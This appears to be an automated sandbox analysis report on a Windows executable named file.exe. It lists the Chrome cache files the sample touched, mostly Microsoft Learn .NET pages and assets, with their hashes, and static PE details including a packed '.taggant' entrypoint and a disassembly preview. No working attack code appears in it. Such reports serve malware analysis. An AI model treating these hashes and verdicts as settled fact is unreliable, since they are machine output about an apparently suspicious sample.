Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949784632279669
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'886'720 bytes
MD5:	f9a9e7845b395f013b6ca1d888749674
SHA1:	2b07267be8b50f2512ca7cc5d5a315471218b91d
SHA256:	a1f3cae3226d4e1ff7515b22a30268212a01b19be74b201e30049c158b7e45b0
SHA512:	2507d71bc93031c8e5b811b51d1b3e0e42497c630595bc829a95177a4a3d3906d5c3c56476adcb5396377087e08e36e4a1ee878fc7bb6f4db4509c444dff2a6e
SSDEEP:	49152:fmtarzhUY3zIvLaTR0so2X+MfJSsIbVtVTov:fiI3TTR/IYHIbVt9o
TLSH:	AB95335E5E389872D69A52723DA3CB8750C0FDDD11EB751A284ABC1642FFA9F144033E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............J...........@...........................J...........@.................................\...p..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8ac000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6737BFB3 [Fri Nov 15 21:40:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F76D46C137Ah
push gs
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F76D46C3375h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
inc dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
